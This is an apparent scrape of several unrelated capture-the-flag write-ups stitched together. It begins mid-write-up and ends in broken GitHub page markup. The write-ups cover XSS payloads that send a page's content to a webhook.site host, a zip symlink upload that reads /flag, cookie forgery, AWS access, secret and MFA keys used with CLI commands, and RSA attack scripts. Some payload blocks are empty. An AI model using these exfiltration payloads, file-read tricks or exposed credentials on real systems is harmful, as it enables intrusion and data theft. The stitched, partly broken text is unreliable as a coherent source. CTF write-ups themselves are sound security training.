The idea is that we would post the above and save the URL for it.
Then we'd craft a new payload that would open that URL in a child window. Something like this:
```html<script> let win=window.open('https://california-state-police.lac.tf/report/ff130ed3-776b-440d-b60f-5fd8bf62b89e') setTimeout(() => { let data = win.document.documentElement.innerHTML console.log(data) }, 500)</script>```
This script opens the previous payload in a child window. We already know the flag will appear there. The script then waits a bit (for the flag to appear), reads the content of the child window, and logs it to the console.
When we tried this in **our** browser the very first time, chrome blocked the child window from appearing due to the popup blocker policy. We disabled that policy on this site. We'll just have to "hope" that the policy is disabled in the admin bot's browser.
After allowing popups, we retried. The child window appeared in a new tab, the flag appeared inside it, and the html content was logged to our original window.
At this point, if we submitted this to the admin bot, the flag would get logged to its browser console.
## Obstacle 2
Normally, we use `fetch()` for exfiltration, but the CSP will not allow this. Fortunately, this is a really easy obstacle to bypass.
Instead of using `fetch()` we can set `location.href=<some-url>` and the browser will "go visit" that new URL. This does not violate the CSP.
## Getting the Flag
Putting our two pieces together, we get this payload:
```html<script> let win=window.open('https://california-state-police.lac.tf/report/ff130ed3-776b-440d-b60f-5fd8bf62b89e') setTimeout(() => { let data = win.document.documentElement.innerHTML window.location.href='https://webhook.site/d14effde-ca5f-43af-b2cb-727fddbbc870?data='+data }, 500)</script>```
When we post this ourselves, we see the `no hacking allowed` (along with some html) in our exfiltration site.
We can now submit this URL to the admin bot.
Indeed, the flag appears on our exfiltration site:
``` <head></head><body>lactf{m4yb3_g1v1ng_fr33_xss_1s_jus7_4_b4d_1d3a}</body>```
Thanks to LA CTF for a great web challenge.
|
Flag: `ENO{R3Qu3sts_4r3_s0m3T1m3s_we1rd_dont_get_confused}`
Going to the ip provided we get this
```Usage: Look at the code ;-)
Overwriting cookies with default value! This must be secure!Prepared request cookies are: [('role', 'guest')]Sending request...Request cookies are: [('role', 'guest')]
Response is: Guest: Nope```
And looking at the backend we see this
```def whoami(): role = request.cookies.get('role','guest') really = request.cookies.get('really', 'no') if role == 'admin': if really == 'yes': resp = 'Admin: ' + os.environ['FLAG'] else: resp = 'Guest: Nope' else: resp = 'Guest: Nope' return Response(resp, mimetype='text/plain')
```
So we have to provide a cookie with `role=admin` and `really=yes` and it will give us the flag
```GET / HTTP/1.1Host: 52.59.124.14:10014User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeCookie: role=admin;really=yesUpgrade-Insecure-Requests: 1
``` |
```AKIA22D7J5LEAGT3CKGP <- Access keyByaBJ7YFJnjXW8R88VOht+DFDRnS8R553UXPFon3 <- Secret keyE3HGFFMHZDLJG2WAEO5FOLMB3GGVVKQNOAIIQ5TIBVBZ4G773RPB47QVC3QTZSJV <- MFA keyarn:aws:iam::743296330440:mfa/mfa-exposed-user <- MFA ARN
```
Create a new aws configuration with the region `eu-central-1` (from the json file)
```$ aws configure --profile nullconAWS Access Key ID [None]: AKIA22D7J5LEAGT3CKGPAWS Secret Access Key [None]: ByaBJ7YFJnjXW8R88VOht+DFDRnS8R553UXPFon3Default region name [None]: eu-central-1Default output format [None]:
```
Import the MFA key into an authenticator app. I used Authy and generated a QR code using this site [https://stefansundin.github.io/2fa-qr/](https://stefansundin.github.io/2fa-qr/)
Login using the MFA token
```$ aws sts get-session-token --serial-number arn:aws:iam::743296330440:mfa/mfa-exposed-user --profile nullcon --token-code 174257
```
Set the following environment variables with the output from the last command
```$ export AWS_ACCESS_KEY_ID=ASIAIOSFODNN7EXAMPLE$ export AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY$ export AWS_SESSION_TOKEN=AQoDYXdzEJr...
```
Get the function information from the JSON file
We can download the code but it is not useful in this case. Trying to invoke/update the function doesn't work, because the current user is missing those permissions.
The function has the description "lambda function that checks the current secret value. Both, the lambda code and the secret are protected against editing by lambda-aws-config-confirm-state-of-lambda and lambda-aws-config-confirm-state-of-secrets"
Getting the function information for `lambda-aws-config-confirm-state-of-lambda` and `lambda-aws-config-confirm-state-of-secrets`
Downloading the code for those function we find the correct secret in `lambda-aws-config-confirm-state-of-secrets`
```def correct_secret(): secret_name = "flag1" region_name = "eu-central-1"
session = boto3.session.Session() client = session.client( service_name='secretsmanager', region_name=region_name )
response = client.put_secret_value( SecretId=secret_name, SecretString=base64.b64decode('RU5Pe04wX0VkMXRfU3QxbGxfVnVsbn0='))
```
```$ $echo RU5Pe04wX0VkMXRfU3QxbGxfVnVsbn0= | base64 -dENO{N0_Ed1t_St1ll_Vuln}
``` |
token was a crypto challenge that I got first first blood on. In the [source code](https://github.com/mar232320/ctf-writeups/blob/main/wreck2022/token/challenge.py) there is aes encryption/authentication oracle. Every time somebody connects to the server a new random 32-byte aes password is generated (in fact it is 32-hex so there is 2^128 possible passwords) The goal is to authenticate as *gary*. There are two functions. First one receives a token, decrypts it, and if the decryption result is 'gary' you are given a flag. The second function encrypt input you give it (with the trick - you cant submit 'gary'), pads it and gives back the output.
aes pads to multiple of 16 bytes. So, when you input 'gary' it encrypts (16 - length(input) mod 16) * char(16 - length(input) mod 16) == 'gary\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c' . I immediately knew that it's a padding attack. I submitted this prepared padded message. However, although the length mod 16 is 0 it pads another 16 bytes with \x10 Since aes is a block cipher, I know what is in the last block and therefore I can throw it out. The server then decrypts the prepared message, unpads it as I wish and authenticates me as gary. Then the only thing I had to do is submitting the flag :)
The solution can be found in [solve.py](https://github.com/mar232320/ctf-writeups/blob/main/wreck2022/token/solve.py)
> flag{gary_gary_gary_gary_gary_gary} |
We are given an “encrypted image” and we have to find the flag. We tried opening the image in [rawpixels.net](http://rawpixels.net) and playing around with the width and height of the image. With a bit more effort, we managed to find something closely resembling a flag, and we took some guesses regarding what each of the symbols was, and we got the flag;
`ENO{I_c4N_s33_tHr0ugH_3ncrYpt10n}` |
Similar to `twin`, we get two public keys with similar modulus, and large `e`s that are now coprime. However, the plaintexts that are being encrypted are different. Trying `weiner` attack on the first public key we get `d`, `p` and `q` ([https://www.dcode.fr/rsa-cipher](https://www.dcode.fr/rsa-cipher)).
Using these, we can easily decrypt the ciphertexts using the following:
```pythonfrom Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_OAEPfrom Crypto.Util.number import inversefrom binascii import hexlify, unhexlify
key1 = RSA.import_key(open('key1.pem','rb').read())key2 = RSA.import_key(open('key2.pem','rb').read())
reader = open('ciphers','rb')c1, c2, _ = list(map(unhexlify, reader.read().split(b'\n')))reader.close()
d1 = 3142948387612230061712223313218058768177264054157930977501720905159512174225d2 = 1092307060387726789399821928756365597728744731491110152860300248100056
pkey1 = RSA.construct((key1.n, key1.e, d1))phi = (pkey1.p - 1) * (pkey1.q - 1)pkey2 = RSA.construct((key2.n, key2.e, inverse(key2.e, phi)))
decryptor1 = PKCS1_OAEP.new(pkey1)decryptor2 = PKCS1_OAEP.new(pkey2)m1 = decryptor1.decrypt(c1)m2 = decryptor2.decrypt(c2)print(m1+m2)```
And we get the flag: `ENO{n3ver_reus3_your_pr1mes_4_a_new_k3y_you_have_2_p4y_th3_pr1ce}` |
# Virtuoso
#### medium
You have to give the correct chord name 50 times in a row with a 1s timeout between each answer.
Chords can be minor (m), major, augmented (+) or diminished (-). Since there can be multiple answers, you have to provide an array containing all correct answers.
Keyboard length varies from 3 to 8 single keyboards.
Examples of expected answers :
```_____________________________________________________________________________________| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | || | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | || | | | | | | | | | | | | | | | | | |X| | | | | | | | | | | | | | | |X| || |_| |_| | |_| |_| |_| | |_| |_| | |_| |_| |_| | |_| |_| | |_| |_| |_| || | | | | | | | | | | | | | | | | | | | | || | X | | | | | | | | | | | | | | | | | | | ||___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|```Chord ?['D+', 'F#+', 'A#+']
```_____________________________________________________________________________________| | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | || | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | | || | | | | | | | | | |X| | | | | | | | | | | | | | |X| | | | | | | | | | || |_| |_| | |_| |_| |_| | |_| |_| | |_| |_| |_| | |_| |_| | |_| |_| |_| || | | | | | | | | | | | | | | | | | | | | || | | | | | | | | | | | X | | | | | | | | | ||___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|___|```Chord ?['G-']
Connection info: nc prog.dvc.tf 7753
Difficulty: medium
Challenge creator: erovinmo
Solver: [Script](virtuozzo_solver.py)
flag : dvCTF{Y0U_4r3_7H3_P14N0_M4573r} |
## Twin
We are given the encryption of a message *m* with two RSA keys that share the same modulus *n* and two distinct exponents *e1* and *e2.* Our first thought is to try using a common modulus attack, which can help us find *m^(gcd(e1, e2)* which is *m^17* in our case and hope that *m^17* is small enough *(< n)* so that we can recover m from it. After some googling, we find some code [1] for the common modulus attack that we can modify to our needs.
[1] https://github.com/ashutosh1206/Crypton/blob/master/RSA-encryption/Attack-Common-Modulus/exploit.py
Here is the solve script.
```pythonfrom Crypto.PublicKey import RSAfrom binascii import hexlifyimport mathfrom Crypto.Util.number import ( long_to_bytes, bytes_to_long, GCD)import gmpy2from base64 import b64decode
import argparseimport sys
# Source: https://crypto.stackexchange.com/a/60404def bytes_to_integer(data): output = 0 size = len(data) for index in range(size): output |= data[index] << (8 * (size - 1 - index)) return output
def integer_to_bytes(integer, _bytes): output = bytearray() for byte in range(_bytes): output.append((integer >> (8 * (_bytes - 1 - byte))) & 255) return output
# Source: https://github.com/ashutosh1206/Crypton/blob/master/RSA-encryption/Attack-Common-Modulus/exploit.pydef egcd(a, b): if (a == 0): return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y)
# Calculates a^{b} mod n when b is negativedef neg_pow(a, b, n): assert b < 0 assert GCD(a, n) == 1 res = int(gmpy2.invert(a, n)) res = pow(res, b*(-1), n) return res
# e1 --> Public Key exponent used to encrypt message m and get ciphertext c1# e2 --> Public Key exponent used to encrypt message m and get ciphertext c2# n --> Modulus# The following attack works only when m^{GCD(e1, e2)} < ndef common_modulus(e1, e2, n, c1, c2): g, a, b = egcd(e1, e2) if a < 0: c1 = neg_pow(c1, a, n) else: c1 = pow(c1, a, n) if b < 0: c2 = neg_pow(c2, b, n) else: c2 = pow(c2, b, n) ct = c1*c2 % n m = int(gmpy2.iroot(ct, g)[0]) return m
import syssys.setrecursionlimit(10000)key1 = RSA.import_key(open('key1.pem','rb').read())key2 = RSA.import_key(open('key2.pem','rb').read())c1 = 198851474377165718028112972842265639215206348877016608622627311171042209963702835769614338398847455363946863082762173236373502223802847244557769309152020719377009343678096323767255545133734392981272835212545353488715110156427711111525743585480758640009319505322315888005188276904901023280620051538053743929669167795850860335549768969166461593906239357372330505433946129717041834475732372670961026001478227254999273718196250867204510681064391880099449164629711720021122445665846890550815079811041241824128791656795460007230003283109669795738520458565694688073372232365469969279979269172335621053156518588065204669164636568515585968088715299221616098448196835007486026306834585857385394379932580809203103023106229424720660096661585932612179471986633721231396764156601845262479014417201866703796806022479395694033815788446795158605478744234679438921219482709321859861288988156224563399413134218092016216147313958327131507901433719054874275160651556856183380492151746510052730242685874618761355215984376265719715473363476986957901445315504092719499838417381325617015369293491930133307630128865051357500960150518954750856507501366553062420719464692404538472137892443679198526541754483324903275970820090884602410278644781399298682978387326c2 = 541940109836125333895781430104885967485013462238357425709353944075428304212181613346342168833632915771850317706081582413750750719712828061669251836467513116815496399077435572514863813419820177695716122433176805528532535188403726732767914692088563121640407878586264559446821905465347721083017105647280563402969518765808190495949892463753148040234604183497869168213134441134251591933907135463336654029223065998877557269475470179804195639035481928376550039377473960558788269310431313825888988908660191302311385846641723702093086996138971258640836061285893970041520552244977929645483977290602241276584136088984907441193129409236710662584843118801800457934169438121910252362434716190064236551302755562358860534549136237814085075287652312464795604230258140807652348468032431267225399615168922885291236301151723996369977845223020976025668767146139688511344868583917521559162297134719274102553947904603784500638033579530233721139319885875767560434666844423652986065991855466499543496592686627509183766091917402747468665062914322631033890742828511915046161646985793301031872822709060588586773552581644418553383314263000798086024158809854568189418235663070035600457464233007552461215491869285368208456103672933515573777187729174614608959934215
m_17 = common_modulus(key1.e, key2.e, key1.n, c1, c2)
print(long_to_bytes(m_17))```
Flag: `ENO{5har1ng_is_n0t_c4r1ng}` |
We are given a game similar to candy crush and use cheat engine to reach level 10. This gives as a clue on how to get the flag.
---
The game looks something like this. It is impossbile or very hard to reach level 10 withoutcheats, given the 60 seconds time limit per level. Of course, this imediately hinted `Cheat Engine`.
Basically, we have to find the address of the goal variable and change it to 0 in order to pass to the next level.
P.S: I didn't know level 10 had something special, I just tried to pass as many levels as I could.
Here's how the game looks like when we pass a level:
What will happed is, the game will display some weird rapidly moving text over the noise background when we reach level 10. This was very hard to read so I recorded my screen with OBS and saved the frames before and after the text's appearance and then xored these 2 images.
Here's a screenshot of the Cheat Engine process:
We set the value to scan for to 1250. Initially I didn't know the value type was `Double` and CheatEngine displayed multiple values. However, after trail and error I figured this out and I only needed to scan once to find the address of the `goal` value. After changing it to zero, I passed to the next level and repeated the process until level 10.
Here's a xor of the 2 images I was talking about earlier:
We can barely see the hint. It says `change tween to see flag`.
Here I got a little bit stuck. I knew what the tween was but had no idea how to change it and I think I solved this challenge a bit unintended. If we click randomly on the bottom noise background box we can see something moving very slightly.
Also, sometimes the text would move on its own with clicking or changing the tween. I didn't know what this was really about, but it rendered the previous step useless.
I just used the same xor technique and found the flag:
After staring at this for a bit I figured it said `FL4G_` something. After playing around a little bit more with this, I finally deciphered the last part of the flag:
Flag: `FL4G_TW33N` |
# HPTLA
This was a web challenge from LA CTF 2023.

## Analysis
The challenge page looks like this where you can enter a list of items:

When you submit your list, the server assigns a UUID and associates with it an html bulleted list of your items.
https://hptla.lac.tf/view.html#236677b8-ff3f-4fcc-b9d5-19b4dbd97252

Here is the provided source:
`index.js`
```javascriptconst express = require("express");const path = require("path");const { v4: uuid } = require("uuid");const cookieParser = require("cookie-parser");
const flag = process.env.FLAG;const port = parseInt(process.env.PORT) || 8080;const adminpw = process.env.ADMINPW || "placeholder";
const app = express();
const lists = new Map();
let cleanup = [];
setInterval(() => { const now = Date.now(); let i = cleanup.findIndex(x => now < x[1]); if (i === -1) { i = cleanup.length; } for (let j = 0; j < i; j ++) { lists.delete(cleanup[j][0]); } cleanup = cleanup.slice(i);}, 1000 * 60);
app.use(cookieParser());app.use(express.urlencoded({ extended: false }));app.use((req, res, next) => { res.set( "Content-Security-Policy", "default-src 'self'; script-src 'self' 'unsafe-inline'" ); next();});app.use(express.static(path.join(__dirname, "static")));
app.post("/list", (req, res) => { res.type("text/plain"); const list = req.body.list; if (typeof list !== "string") { res.status(400).send("no list provided"); return; } const parsed = list .trim() .split("\n") .map((x) => x.trim()); if (parsed.length > 20) { res.status(400).send("list must have at most 20 items"); return; } if (parsed.some((x) => x.length > 12)) { res.status(400).send("list items must not exceed 12 characters"); return; } const id = uuid(); lists.set(id, parsed); cleanup.push([id, Date.now() + 1000 * 60 * 60 * 3]); res.send(id);});
app.get("/list/:id", (req, res) => { res.type("application/json"); if (lists.has(req.params.id)) { res.send(lists.get(req.params.id)); } else { res.status(400).send({error: "list doesn't exist"}); }});
app.get("/flag", (req, res) => { res.type("text/plain"); if (req.cookies.adminpw === adminpw) { res.send(flag); } else { res.status(401).send("haha no"); }});
app.listen(port, () => { console.log(`Listening on port ${port}`);});```
From this we can see that there are some restrictions on our items:
- each item has length <= 12- max 20 items
However, our items are passed through unfiltered so XSS seems possible.
Also notice that this provides the following Content Security Policy:
```Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'```
Since `unsafe-inline` is present, we can inject javascript and it will run it.
We can see that our goal is to craft an XSS payload that, when visited by the admin bot, will make a call to the `/flag` endpoint, receive the flag and exfiltrate it.
Clearly the XSS payload will be... tricky.
## XSS POC
Let's prove that XSS is possible.
After some struggling, I found this POC:
``````
Here is what the payload looks like in HTML:
```html```
To make this easier to understand, I'll trim out some of the noise:
```html```
In case you are not familiar with this approach, the browser will try to load the resource specified by the `src` attribute. Since that is a bunch of junk, that will fail to load. In that case, the browser will execute the script contained in the `onerror` attribute. Thus, it pops the alert box.
Notice how the /* ... */ comment syntax hides the intervening html allowing the end result to be valid javascript.
Also note that I'm not trying for `<script>...</script>` here. The main reason is because it won't work. The web page has a script that makes an HTTP request to get the payload and then stores it via an `innerHTML` property on one of the elements. Browsers will not run script elements when they are inserted this way. That behavior seems a litttle silly since you can run scripts in so many other ways.
## Contemplating an Exfiltration Script
If i had no limitations, an exfiltration script might look like this:
```javascriptfetch("/flag").then(r=>r.text()).then(d=>location.href="https://webhook.site/d14effdcd-ca5f-43ae-b2cb-727fddbbc870?"+d)```
If I tried to build this as a list, it would have a shape like this:
```html```
We can put anything we want in the `????????` blocks as long as each block is a legal javascript token.
Since we don't know how it will end up, let's just start by trying to make our exfil script fit into the given constraints and see how it goes:
```html```
This looks like might work BUT it is 24 items and we are limited to only 20.
It seems like a shorter exfiltration URL might save the day.
## Getting the Flag
I fired up a local web server on my laptop and the ran `ngrok` against it to see what kind of URL it would give me:

If you don't have ngrok in your tool belt, for sure go register for a free account and install the utility. When you run it, it assigns you a public facing URL and any traffic that goes to it is tunneled to your computer to whatever port you tell it. This is really nice since you don't have to open any ports in your local home router.
Here, I'm running a local nodejs express web server on port 5050.
Notice it also gives you a Web Interface so you can easily view the traffic.
That URL is quite a bit shorter. Let's retry with that:
``````
This is only 18 lines!
When I submit this payload, the attack works locally. I see this in the ngrok Web Interface:

The bummer is that my payload navigated away from the injected page and so I lost the URL. I had to use the devtools network tab to reconstruct it.
I then submitted that URL to the admin but and got this in my ngrok Web Interface:

So, the main tricks here were:
- figure out a way to string together javascript in small chunks- have a small enough exfil URL
Note that I could have opened a port in my home router and then had an even shorter URL using my IP address.
Thanks LA CTF for a fun web challenge.
## Addendum
In case it is interesting, during the CTF, I actually solved this using a slightly different approach where I used up the first several blocks gaining access to `location.search.split("|")` and storing that into a variable `q`. I could then put really long strings (like the webook.site URL) into the query string of my URL and access them like `q[1]`. While this worked, it is pretty ugly. The above solve is much cleaner.
For posterity, here's the ugly solve:
``````
The URL was like this:
```https://hptla.lac.tf/view.html?|/flag|then|text|https://webhook.site/d14effdc-ca5e-43ae-b2cb-727fddbbc870?flag=#4a9edf03-08e7-4f7b-859f-be062c8a606b```
Which meant the following values for the `q` array:
```q[1]=/flagq[2]=thenq[3]=textq[4]=https://webhook.site/d14effdc-ca5e-43ae-b2cb-727fddbbc870?flag=```
The general idea of accessing some kind of external source for long strings is a useful notion to keep in mind. It can often help you bypass filters with length limits. |
## zpr
Flag Proof: `ENO{Z1pF1L3s_C4N_B3_Dangerous_so_b3_c4r3ful!}`
Going to the first ip we are told that we can send a zipfile as a post request, and it’s content will be accessible to us.
```Send me your zipfile as a POST request and I'll make them accessible to you ;-0.```
So i remembered that i can include symlinks into zip files:
```ln -s /flag test1.linkzip --symlink test1.zip test1.link
curl -F "file=@./test1.zip" <http://52.59.124.14:10015/>Found a file: /tmp/data/0c50fc55a1398f476fcb7fd8f371e137/b7e060ee2e3cb683722b14e2477d8bff.zipFound a file: /tmp/data/0c50fc55a1398f476fcb7fd8f371e137/test1.linkFind your files at http://...:8088/0c50fc55a1398f476fcb7fd8f371e137/```
So now, going to the other ip, to `0c50fc55a1398f476fcb7fd8f371e137/` we will see our files
```Directory listing for /0c50fc55a1398f476fcb7fd8f371e137//b7e060ee2e3cb683722b14e2477d8bff.ziptest1.link@```
Now we can download the `[test.link](<http://test.link>)` file and we will get the flag:
`ENO{Z1pF1L3s_C4N_B3_Dangerous_so_b3_c4r3ful!}` |
# Challenge
become a TRUE master of randonomics52.59.124.14:10019
# Solution
We utilized the solution of randrevenge and it worked, we just had to change the port for our script to work.
```44444444444545454545454545454545454545454546lol1042126681803053606FLAG ENO{PHD_1N_TrU3_R4nd0n0m1c5_516189}
```
|
### Overview
Both can be solved with this solution. The servers sends a timestamp and a few random numbers. The goal is to send back the next number in the sequence.
### Idea
The sequence starts with the very first number after a random seed is set, so we can narrow the search space to seeds that start with it. After getting a few candidates, it is possible to check if the other numbers match by using the provided algorithm. The server doesn't have rate limiting, so we can check just a subset of random seeds and request another batch of numbers if none fit.
### Solution
Step 1: Dump a few pairs of (seed, first_random_number) in a file
```"
d = {}
i = 0
with open('data.csv') as csvfile:
spamreader = csv.reader(csvfile)
for row in spamreader: i+=1 # check if in dict if i == 20796091: break if row[0] in d: d[row[0]].append(row[1]) else: d[row[0]] = [row[1]] z = row[0]
print(f"Loaded {i} lines")
while True: r = requests.post(url) data = r.text.split("\\n")
data[0] # time leak = data[1]
if leak in d: number = os.popen(f"php a.php {len(d[leak])} {' '.join(d[leak])} {' '.join(data[:-2])}").read()
print(f"Number: {number}")
cookies = r.cookies
r = requests.post(url+"submit", data={"next": number}, cookies=cookies) print(r.text) if "ENO" in r.text: exit()
```
## Flags
`ENO{M4sT3r_0f_R4nd0n0m1c5}` - randrevenge`ENO{PHD_1N_TrU3_R4nd0n0m1c5_516189}` - randrevengerevenge |
*For the full experience with images see the original blog post!*
**TL;DR:** parallelism was a reversing challenge using cooperative data shuffling with eight processes.I solved it by analyzing the program and implementing its inverse in Python to reconstruct the flag.
I started out the CTF with this challenge because I just recently worked with MPI for my studies and was intrigued to find out what the author had prepared for us.For those not familiar with MPI is short for message passing interface.It defines protocols and methods for synchronization and data distribution over multiple processes working cooperatively on a problem in parallel.The challenge uses a common implementation, OpenMPI, which supports C and uses the `mpirun` command we were given.Thus, I expected a C program and quickly imported it into ghidra for analysis.(If you're starting out with ghidra reversing, I can recommend [stacksmashing](https://www.youtube.com/@stacksmashing) for an introduction.)
Starting out, I clicked through the few functions to find the entry an main method with their common structure.In the main method, the program initializes and MPI and gets the number of processes and the rank (the number identifying a process), which is the number of the current process.We can see that the program always runs with 8 processes and uses three steps for probably checking the flag.
The first method I called scatter reads our input when run on the main process and expects a line with a 64-character string.It then uses an array of 32 indices to shuffle this string by swapping the character at the given index with the one offset by 31.Finally, it uses MPI_Scatter, a method for distributing a block of data equally between processes, to split the input in blocks of eight characters.
Next, the program implements 10.000 rounds of another shuffle.Each round, each process sends the character at a given offset (`i % 8`) to the process before it, by the same offset to its own rank.It then receives its character and waits for the operations to complete since the program uses the non-blocking method variants.Then, it updates its buffer and synchronizes with the other processes at a barrier before starting the next round.
The last method of the program gathers the message parts from the processes which is the inverse of scatter.Then, it compares the result to a string constant on the main process to determine whether it is the flag.
After looking at the program shortly, I decided I understood it enough to implement the reverse process in python (I'm pretty used to that now).I managed to forget a zero for the round number but fixed that soon after to produce the following program:
```pythonCOMM_SIZE = 8
POS = [0] * 32POS[0] = 0x1aPOS[1] = 0x20POS[2] = 0xePOS[3] = 0xbPOS[4] = 3POS[5] = 1POS[6] = 0x20POS[7] = 0x18POS[8] = 0xdPOS[9] = 0x11POS[10] = 3POS[11] = 0x11POS[12] = 2POS[13] = 0xdPOS[14] = 0x13POS[15] = 6POS[16] = 0xcPOS[17] = 0x16POS[18] = 3POS[19] = 0x1ePOS[20] = 10POS[21] = 6POS[22] = 8POS[23] = 0x1aPOS[24] = 6POS[25] = 0x16POS[26] = 0xdPOS[27] = 1POS[28] = 0x13POS[29] = 1POS[30] = 1POS[31] = 0x1dEXP = "m_ERpmfrNkekU4_4asI_Tra1e_4l_c4_GCDlryidS3{Ptsu9i}13Es4V73M4_ans"
BUFFER = [0]*8# Inverse gatherfor i in range(8): BUFFER[i] = list(EXP[i*8:i*8+8])
# Inverse of parallel shufflefor i in range(10000): i = 10000 - i - 1
tmp = [0] * 8 for COMM_RANK in range(8): offset = i % 8 dest = (COMM_SIZE + (COMM_RANK - i) % COMM_SIZE) % COMM_SIZE tmp[COMM_RANK] = BUFFER[dest][offset] # Splitting here to avoid loosing values for COMM_RANK in range(8): BUFFER[COMM_RANK][offset] = tmp[COMM_RANK]
# Inverse of scatter and start shuffleinput = []for i in range(COMM_SIZE): input += BUFFER[i]
for i in range(0x20): i = 0x20 - i - 1 current = input[i] input[i] = input[POS[i] + 31] input[POS[i] + 31] = current
print("".join(input))```
Of course, the challenge was pretty simple and I managed that primarily because people start with different challenges depending on their preferences.I was happy nonetheless to be able to claim the first-blood for my team. |
# Challenge Description
Alice started to encrypt the flag, but realised halfway she was unhappy with her key. So she created a new one.# SolutionWe are given the flag split in two ciphertexts $$c_1, c_2$$ each encrypted with a different key. BUT, both keys use the same public modulus $$n$$(and different $$e, d$$).
We notice the public exponents e1, e2 are very large. This can sometimes mean the respective private exponents are small enough to be vulnerable to Wiener's attack or Boneh-Durfee attack. We tried a sage script we found online for Boneh-Durfee and indeed the first key was vulnerable giving us the private exponent $$d_1 = 3142948387612230061712223313218058768177264054157930977501720905159512174225$$
The second private exponent couldn't be found the same way but we can use the pair $$d_1, e_1$$ to [factor n](https://www.di-mgt.com.au/rsa_factorize_n.html).After factoring n we can easily use the other public exponent e_2 to calculate $$d_2 = e^{-1}_2 mod (p-1)(q-1)$$ where $$p,q$$ are the factors of n.
We load the keys we found with the correct 'mode'(PKCS1_OAEP) and simply decrypt the two parts of the flag to get: ENO{n3ver_reus3_your_pr1mes_4_a_new_k3y_you_have_2_p4y_th3_pr1ce} |
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com">
<link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-d0de0b81e2dd.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" />
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-e2a8c60df2b4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-bccd9f0c39df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" 